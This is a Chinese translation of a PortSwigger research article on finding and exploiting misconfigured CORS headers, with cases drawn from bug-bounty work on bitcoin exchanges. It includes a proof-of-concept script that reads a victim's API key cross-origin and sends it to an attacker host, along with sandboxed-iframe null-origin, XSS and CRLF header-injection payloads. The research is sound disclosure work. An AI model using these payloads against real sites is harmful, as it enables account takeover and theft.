利用CORS错误配置获取比特币和赏金
翻译
原文:https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
- name: 翻译
desc: 原文:https://portswigger.net/research/exploiting-cors-misconfigurations-for-bitcoins-and-bounties
bgColor: '#F0DFB1'
textColor: 'green'
2
3
4
# 1利用配置错误的CORS获取比特币和赏金
在这篇文章中,我将展示如何识别和利用配置错误的 CORS。这是我在 AppSec USA 演讲的精简版本。如果你有时间(或难以理解某些内容),我强烈建议你查看幻灯片 (opens new window)和观看视频 (opens new window)。我还推荐我们的免费交互式CORS实验室 (opens new window)。
提示
官方在此处提供了一个 YouTuBe 的视频链接:https://www.youtube.com/embed/wgkj4ZgxI4c?origin=https://portswigger.net&rel=0 (opens new window)
# 1.1什么是CORS?(跨域资源共享)
跨域资源共享 (opens new window)(CORS (opens new window))是网站用来使 Web 浏览器放宽同源策略,实现不同网站之间的跨域通信的一种技术。它经常被 Web API 使用,但在现代复杂的网站中,它可以出现在任何地方。众所周知,某些 CORS 配置是危险的,但一些相关的微妙之处和影响很容易被误解。在这篇文章中,我将展示如何从黑客的角度批判性地检查 CORS 配置,并窃取比特币。
# 1.2黑客视角下的CORS
网站通过发送以下HTTP响应标头 (opens new window)来启用 CORS:
Access-Control-Allow-Origin: https://example.com
这将允许被列出的源(域)使访问者的 Web 浏览器向服务器发出跨域请求并读取响应 - Hidden in plain sight通常会阻止这一点。默认情况下,此请求将在没有 Cookie 或其他凭据的情况下发出,因此它不能用于窃取敏感的用户特定信息,如 CSRF (opens new window) 令牌。服务器可以使用以下标头启用凭据传输:
Access-Control-Allow-Credentials: true
这会产生信任关系 - example.com 上的XSS漏洞对这个网站来说是个坏消息。
# 1.3隐藏在众目睽睽之下
信任单个源很容易,但如果你需要同时信任多个源怎么办?规范中建议你,可以简单地指定一个以空格分隔的原点列表,例如:
Access-Control-Allow-Origin: http://foo.com http://bar.net
但是,实际上没有浏览器支持此规范。
你可能还希望使用通配符来信任所有子域,通过指定以下内容:
Access-Control-Allow-Origin: *.portswigger.net
但这也不允许,因为通配符*
只能单独使用。
在 CORS 中也有一个隐藏的安全锁。如果你试图完全禁用 SOP (opens new window) 并使用以下看起来很可怕的标头组合,来向所有人公开你的网站:
Access-Control-Allow-Origin: *
Access-Control-Allow-Credentials: true
2
然后,你将在浏览器控制台中看到以下错误:
“ 当凭据标志为 true 时,不能在Access-Control-Allow-Origin
中使用通配符。 ”
规范中提到了此异常,并且还得到了 Mozilla 文档的支持 (opens new window):
“ 当响应要求提供凭据时,服务器必须指定域,并且不能使用通配符 ”
换句话说,使用通配符可以有效地禁用Access-Control-Allow-Credentials
标头。
由于这些限制,许多服务器以编程方式根据用户提供的 Origin 值生成访问控制允许源标头。这是最常见的 CORS 漏洞。如果您看到带有任何 Access-Control-* 标头但没有声明源的 HTTP 响应,则强烈表明服务器将根据您的输入生成标头。其他服务器只有在收到包含 Origin 标头的请求时才会发送 CORS 标头,这使得相关的漏洞极易被遗漏。
出于这些限制,许多服务器基于用户提供的Origin
值并以程序方式自动生成Access-Control-Allow-Origin
标头。这是最常见的 CORS 漏洞。如果你看到一个 HTTP 响应中带有任何Access-Control-*
标头,但没有声明源,这强烈表明服务器将根据你的输入来生成标头。而某些服务器只有在收到包含Origin
头的请求时才会发送 CORS 头,这使得相关的漏洞非常容易被遗漏。
# 1.4凭证和比特币
因此,许多网站都是 从用户输入中 获取允许的来源。这可能出现什么问题?我决定评估一些漏洞赏金网站并找出答案。请注意,由于这些网站都有漏洞赏金计划,因此我提到的每个漏洞 都被许多其他赏金猎人错过了。
我很快就复刻了Evan Johnson的发现,即许多应用程序在反映它之前,没有尝试验证其来源,并确定了一个易受攻击的比特币交易所(遗憾的是,它更愿意保持匿名):
GET /api/requestApiKey HTTP/1.1
Host: <redacted>
Origin: https://fiddle.jshell.net
Cookie: sessionid=...
HTTP/1.1 200 OK
Access-Control-Allow-Origin: https://fiddle.jshell.net
Access-Control-Allow-Credentials: true
{"[private API key]"}
2
3
4
5
6
7
8
9
10
利用 CORS 来窃取用户的私有 API 密钥,这个概念验证是轻而易举的:
var req = new XMLHttpRequest();
req.onload = reqListener;
req.open('get','https://btc-exchange/api/requestApiKey',true);
req.withCredentials = true;
req.send();
function reqListener() {
location='//atttacker.net/log?key='+this.responseText;
};
2
3
4
5
6
7
8
9
在检索到用户的 API 密钥后,我可以禁用帐户通知,启用 2FA 将账户锁定,并将他们的比特币转移到任意地址。对于标头配置错误来说,这是相当严重的。我忍住了拿着比特币逃跑的冲动,向他们的漏洞赏金计划报告了这一点,并在惊人的 20 分钟内得到了修补。
一些网站在尝试验证 是否应该信任源时,会犯典型的 URL 解析错误。例如,一个我称之为advisor.com
的网站信任所有以advisor.com
结尾的源,包括definitelynotadvisor.com
。更糟糕的是,第二个比特币交易所(我们称之为btc.net
)信任所有以https://btc.net
开头的源,包括https://btc.net.evil.net
。不幸的是,在我构建一个工作的概念证明之前,该网站意外地永久停止了运营。我不会猜测为什么。(译者加:我想笑)
# 1.5null源
如果你之前就已经密切关注,你可能会想知道 “null” 源的用途。规范中提到,它是由重定向触发的,一些堆栈溢出的帖子表明了本地 HTML 文件也可以获取到它。也许是由于与本地文件的关联,我发现相当多的网站将其列入白名单,包括 Google 的 PDF 阅读器:
GET /reader?url=zxcvbn.pdf
Host: docs.google.com
Origin: null
HTTP/1.1 200 OK
Acess-Control-Allow-Origin: null
Access-Control-Allow-Credentials: true
2
3
4
5
6
7
以及某个 第三个比特币交易所。这对攻击者来说非常有用,因为任何网站都可以使用沙箱iframe
来轻松获取空源:
<iframe sandbox="allow-scripts allow-top-navigation allow-forms" src='data:text/html,<script>*cors stuff here*</script>’></iframe>
通过使用一系列的 CORS 请求,可以窃取用户钱包的加密备份,从而对他们的钱包密码进行极快的离线暴力攻击。如果有人的密码不太符合标准,我将会得到他们的比特币。
这种特殊的错误配置是惊人的非常普遍 - 如果你寻找它,你会发现它 (opens new window)。选择关键字 “null” 本身就有点不幸,因为在某些应用程序中,未配置源白名单可能就会导致...
Access-Control-Allow-Origin: null
哎呀。
# 1.6破坏解析器
大多数网站使用基本的字符串操作来验证Origin
标头,但有些网站将其解析为 URL。这项研究最初发表三年后,Bitwis3 (opens new window) 分享了一种利用解析器的技术,该技术利用了 Safari 对域名中异常字符的容忍度。在 Safari 中,这是一个有效的 URL - 尝试复制并粘贴它:
http:/static/cors.html
并且,源自该 URL 的 CORS 请求包含:
Origin: http://example.com`.hackxor.net/
如果一个网站选择解析这个标头,它可能会认为主机名是example.com
并反映它,从而允许我们攻击 Safari 用户,即使该站点正在使用可信主机名的白名单。在收到 Bitwis3 的提示 (opens new window)后,我亲自在野外尝试了这种技术,并确认它可以在一系列真实的系统上工作。
如果你发现你可以使用_
而不是`
,那么你也可以利用 Firefox 和 Chrome - 这种技术在高级CORS利用技术 (opens new window)中有更深入的介绍。
# 1.7破坏HTTPS
在这项研究中,我发现了另外两个常见的白名单实施缺陷,这些缺陷经常同时发生。第一种是,盲目地将所有子域列入白名单 - 即使是不存在的子域。许多公司的子域都指向 由第三方托管 的应用程序,这些第三方具有糟糕的安全实践。相信这些网站没有任何 XSS 漏洞,将来也不会有,这是一个非常糟糕的想法。
第二个常见错误是,没有限制源的协议。如果一个网站是通过 HTTPS 访问的,但很乐意接受来自http://wherever
的 CORS 交互,那么执行主动中间人(MITM)攻击的人,几乎可以完全绕过其对 HTTPS 的使用。严格的传输安全性和安全的 Cookie 对防止这种攻击几乎没有作用。阅读演示文稿,以观看此攻击的演示。
# 1.8滥用无凭据的CORS
我们已经看到,在启用凭证的情况下,CORS 可能非常危险。没有凭据,许多攻击变得无关紧要;这意味着你不能使用用户的 Cookie,从而让他们的浏览器发出请求,而不是自己发出请求,这通常没有什么好处。即使是令牌固定攻击也是不可行的,因为浏览器会忽略任何新的 Cookie 集。
一个值得注意的例外是,当受害者的网络位置作为一种身份验证时。你可以使用受害者的浏览器作为代理,来绕过基于 IP 的身份验证,并访问内网应用程序。就影响而言,这类似于 DNS 重绑定攻击,但利用起来要麻烦得多。
# 1.9Vary: origin
如果你查看 CORS 规范中的 “实现注意事项” 部分,你会注意到,它指示开发人员在动态生成Access-Control-Allow-Origin
标头时,指定Vary: Origin
HTTP 标头。
这听起来可能很简单,但很多人都忘记了,包括 W3C 本身,导致了这句精彩的话 (opens new window):
“ 我必须说,如果连 W3C 都不能正确配置其服务器,那我并不相信很快会有更多的网站支持 CORS - Reto Gmür ”
如果我们忽视这个建议会发生什么?大多数情况下,都是坏事。但是,在适当的情况下,它可以用于实现一些相当严重的攻击。
# 1.10客户端缓存投毒
你可能偶尔会遇到一个在自定义 HTTP 标头中具有反射型 XSS 的页面。假设网页反映了该自定义标头的内容,且没有编码:
GET / HTTP/1.1
Host: example.com
X-User-id: <svg/onload=alert(1)>
HTTP/1.1 200 OK
Access-Control-Allow-Origin: *
Access-Control-Allow-Headers: X-User-id
Content-Type: text/html
...
Invalid user: <svg/onload=alert(1)>
2
3
4
5
6
7
8
9
10
如果没有 CORS,这是不可能被利用的,因为你无法让某人的浏览器跨域发送X-User-id
标头。但通过 CORS,我们可以让他们发送此请求。这本身是无用的,因为包含我们注入的 JavaScript 的响应不会被渲染。但是,如果未指定Vary: Origin
,则响应可能会存储在浏览器的缓存中,并在浏览器导航到相关的 URL 时直接显示。我已经做了一个 fiddle,试图攻击你所选择的 URL (opens new window)。由于这种攻击使用客户端缓存,因此它实际上非常可行。
# 1.11服务端缓存投毒
如果一切顺利,我们可以通过 HTTP 标头注入,造成服务器端缓存投毒,来创建存储型 XSS 漏洞。
如果应用程序反映Origin
标头,甚至没有检查它是否存在非法字符(例如\r
),我们实际上有一个针对 IE/Edge 用户的 HTTP 标头注入漏洞,如 Internet Explorer 和 Edge 视图中的\r
(0x0d
)可以作为有效的 HTTP 标头终止符:
GET / HTTP/1.1
Origin: z[0x0d]Content-Type: text/html; charset=UTF-7
2
Internet Explorer 会将响应视为:
HTTP/1.1 200 OK
Access-Control-Allow-Origin: z
Content-Type: text/html; charset=UTF-7
2
3
这不能直接利用,因为攻击者无法让某人的 Web 浏览器发送这样一个格式的错误标头,但我可以在 Burp Suite 中手动创建此请求,服务器端缓存可能会保存响应,并将其提供给其他人。我在使用的有效负载之前,会将页面的字符集更改为 UTF-7,这对于创建 XSS 漏洞非常有用。
# 1.12好心办坏事
最初,我对动态生成Access-Control-Allow-Origin
标头的站点数量感到惊讶。这种行为的根本原因可能是 CORS 的两个关键限制——不支持单个标头中的多个源,通配符子域也不支持。这使得许多开发人员别无选择,只能冒险进行动态标头生成,顶着上面讨论的所有实现缺陷的风险。我认为,如果规范的作者和浏览器决定,允许源列表和部分通配符,动态标头生成和相关的漏洞将直线下降。
浏览器的另一个潜在改进是,将通配符 和 凭据异常应用于null
源。目前,空源 比 通配符源危险得多,我想很多人都会感到惊讶。
浏览器可以尝试的其他方法是,阻止我创造的 “反向混合内容”——HTTP 站点通过 CORS 从 HTTPS 站点窃取数据。但我不知道这样做会造成多大的风险。
简单性和安全性可以是齐头并进的,但由于忽略了 对多个源声明 的支持,Web 浏览器只是将复杂性推给了开发人员,并带来了有害的结果。我认为,从中得出的主要结论是,安全规范的设计和实现非常困难。
# 1.13结论
CORS 是一项功能强大的技术,最好谨慎使用,严重的漏洞利用 并不总是需要 专业的技能和复杂的漏洞利用链——通常,你只需要对 规范 有基本的了解和一点点关注。如果你的咖啡不够了,从今天开始 Burp Suite 的扫描仪将识别并报告此处讨论的所有缺陷。
更新:我们现在发布了一系列免费的交互式实验室,以便你可以在实时系统上练习和利用这些漏洞:CORS配置错误实验室 (opens new window)